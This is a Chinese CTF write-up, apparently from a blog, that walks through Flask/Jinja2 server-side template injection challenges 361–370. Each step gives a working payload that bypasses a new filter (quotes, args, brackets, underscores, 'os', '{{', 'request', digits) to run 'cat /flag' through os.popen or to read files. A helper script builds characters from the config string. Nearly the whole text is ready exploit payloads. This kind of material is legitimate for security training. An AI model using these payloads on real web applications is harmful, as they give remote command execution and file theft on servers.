361

参数是name,无过滤

可以子类调用的函数

?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}

重载函数

?name={{''.__class__.__base__.__subclasses__()[290].__init__.__globals__['os'].popen('cat /flag').read()}}

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

内嵌函数

?name={{''.__class__.__base__.__subclasses__()[446].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

362

过滤2和3

363(过滤单双引号,GET传参)

过滤单双引号,GET传参

?name={{().__class__.__base__.__subclasses__()[94][request.args.m1](0,request.args.m2)}}&m1=get_data&m2=/flag

364(新过滤args,Cookie传参)

过滤单双引号,args

?name={{().__class__.__base__.__subclasses__()[94][request.cookies.m1](0,request.cookies.m2)}}
Cookie:m1=get_data;m2=/flag

365(新过滤[

?name={{().__class__.__base__.__subclasses__().pop(290).__init__.__globals__.pop(request.cookies.m1).popen(request.cookies.m2).read()}}
Cookie:m1=os;m2=cat /flag

366(新过滤_)

?name={{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}}
cookie:m1=__globals__;m2=cat /flag

367(新过滤os)

?name={{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}
Cookie:m1=__globals__;m2=cat /flag;m3=os

368(新过滤{{)

替换{%,但是{%不会输出结果,要加输出指令

{{ ... }}
用于 表达式输出,会自动计算并渲染其中的表达式结果。
例如:{{ 7*7 }} 会直接输出 49。
{% ... %}
用于 控制语句(如if、for、set等),不会自动输出结果。
例如:{% 7*7 %} 不会输出任何内容,因为它只是计算而没有输出指令。
?name={%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%}
Cookie:m1=__globals__;m2=cat /flag;m3=os
?name={%set x=(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()%}{% print(x) %}

?name={% with x=(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read() %}{% print(x) %}{% endwith %}

369(新过滤request,字符动态构造)

只能凑字符

(config|string|list).pop(N).lower()

先输出 config 对象的完整字符串表示

?name={%print(config)%}
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
?name={%print( config|string|list )%}

下面是获取字母首次位置的脚本

from flask import Flask
import datetime

app = Flask(__name__)

# 配置标准 Flask Config 对象
app.config.update({
    'ENV': 'production',
    'DEBUG': False,
    'TESTING': False,
    'PROPAGATE_EXCEPTIONS': None,
    'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31),
    'SESSION_COOKIE_NAME': 'session'
})

# 获取 Config 字符串
config_str = str("<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>")

# 记录每个字符的首次出现位置
first_occurrence = {}
for idx, char in enumerate(config_str):
    if char not in first_occurrence:
        first_occurrence[char] = idx

# 打印完整字符表(按ASCII排序)
print("=" * 60)
print("Flask Config 字符首次出现位置全集")
print("=" * 60)
print("字符\tASCII\t首次位置\t示例用法")
print("-" * 60)

for char in sorted(first_occurrence.keys(), key=lambda x: ord(x)):
    ascii_val = ord(char)
    pos = first_occurrence[char]

    # 显示字符的可读形式
    display_char = repr(char)[1:-1]
    if char.isprintable() and char not in ['\n', '\t', '\r']:
        display_char = f"'{char}'"

    # 标注SSTI常用字符
    usage = ""
    if char in ['_', 'o', 's', 'a', 't', 'c', 'g', 'l', 'b', '/']:
        usage = "← SSTI关键字符"

    print(f"{display_char:4}\t{ascii_val:3}\t{pos:5}\t{usage}")

# 打印关键字符总结
print("\n" + "=" * 60)
print("SSTI 攻击关键字符位置速查")
print("=" * 60)
key_chars = {
    '_': "双下划线函数名",
    '/': "路径分隔符",
    'o': "构造 'os'",
    's': "构造 'os'",
    'c': "构造 'cat'",
    'a': "构造 'cat'",
    't': "构造 'cat'",
    'g': "构造 '__globals__'",
    'l': "构造 '__globals__'",
    'b': "构造 '__builtins__'"
}

for char, desc in key_chars.items():
    if char in first_occurrence:
        print(f"'{char}'(ASCII {ord(char)}): 位置 {first_occurrence[char]} \t{desc}")

相当于构造出

{% print(
    lipsum|attr(__globals__)
         .get(os)
         .popen(cat /flag)
         .read()
) %}

例如,lower()是转换为小写,~是字符串连接符

_  (config|string|list).pop(74).lower()~
g  (config|string|list).pop(35).lower()~
G  (config|string|list).pop(6).lower()~
?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

370(新过滤数字,使用全角数字)

{%set a=(lipsum|string|list).pop(18)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}  "__globals__"
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}  "__builtins__"
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}   获取chr函数
{%set flag=(chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103))%}  拼接路径 "/flag"
{%print((lipsum|attr(gl)).get(bu).open(flag).read())%}  读取文件内容

Shift + Space切换使用全角数字

后面就不写了

此作者没有提供个人介绍。
最后更新于 2025-07-25